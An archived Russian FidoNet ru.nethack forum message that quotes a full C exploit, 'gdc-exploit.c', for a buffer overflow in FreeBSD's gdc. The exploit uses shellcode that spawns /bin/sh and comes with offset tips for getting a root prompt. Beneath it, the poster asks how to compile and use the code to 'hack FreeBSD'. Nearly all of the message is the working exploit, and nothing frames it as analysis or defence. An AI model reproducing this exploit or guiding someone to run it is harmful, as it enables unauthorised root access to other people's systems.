Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Sergey Polyakov                      2:5085/26.50   04 Feb 2001  13:39:27
 To : All
 Subject : Re: gdc bug in FreeBSD
 -------------------------------------------------------------------------------- 
 
 
 --- From Anton Pavlov to All (01 Фев 00 - 00:01) ---
 
 AP> ---+- CUT HERE -------------
 AP> /*  gdc-exploit.c by BLe4cH. Mailto:  bleach@chat.ru
 AP>  *  Usage: ./gdc-exploit <offset>
 AP>  *  Try offsets from 4700 to 5000.
 AP>  *  My FreeBSD box showing root prompt at 4780. But this value changes
 AP>  *  from system to system.
 AP>  */
 AP> #include <stdlib.h>
 AP> #include <stdio.h>
 
 AP> char shell_code[] = /* Shell code by Mudge mudge@l0pht.com */
 AP>      "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
 AP>      "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
 AP>      "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
 AP>      "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 
 AP> unsigned long get_sp(void){
 AP>      __asm__("movl %esp,%eax");
 AP> }
 
 AP> void main(int argc, char *argv[]){
 AP>      char *buf,*ptr;
 AP>      long *addr_ptr,addr;
 AP>      int i=0,j=0;
 AP>      int offset,bsize=4093;
 
 AP>      if(argc != 2)
 AP>      {
 AP>          printf("Usage: %s <offset>\n", argv[0]);
 AP>   exit(0);
 AP>      }
 AP>      offset = atoi(argv[1]);
 AP>      if(!(buf=malloc(bsize))){
 AP>          printf("Error: allocate memory\n");
 AP>   exit(0);
 AP>      }
 AP>      addr = get_sp() + offset;
 AP>      printf("SP = 0x%x, Addr = 0x%x\n", get_sp(), addr);
 
 AP>      ptr = buf;
 AP>      addr_ptr = (long *)ptr;
 AP>      for(i = 0; i < bsize; i+=4)
 AP>          *(addr_ptr++) = addr;
 
 AP>      for(i = 0; i < 937; i++) buf[i] = 0x90;
 AP>      for(j = 0;j < 67; j++,i++) buf[i] = shell_code[j];
 
 AP>      buf[i++] = get_sp()&0x000000ff;
 AP>      buf[i++] = (get_sp()&0x0000ff00)>>8;
 AP>      buf[i++] = (get_sp()&0x00ff0000)>>16;
 AP>      buf[i++] = (get_sp()&0xff000000)>>24;
 AP>      buf[bsize-1] = '\0';
 AP>      execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);
 AP> }
 AP> ---+- CUT HERE -------------
 
 ПОМОГИТЕ ПЛИЗ!:)адо хакнyть ФpиБСД.Вот что мне с вышенаписанным текстом
 делать?Кyда его вставлять,на чем написан он.Очень пpошy помощи.Спасибо!
 Как этим пользоваться вообще?
 --- GoldED 3.00.Beta2+
  * Origin: -Копчик-это очень маленький амеpиканский полицейский- (2:5085/26.50)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Re: gdc bug in FreeBSD   Sergey Polyakov   04 Feb 2001 13:39:27 
 Re: gdc bug in FreeBSD   Dmitry Tymchuk   07 Jan 2001 15:21:00 
Архивное /ru.nethack/33333a7d4d8d.html, оценка 2 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional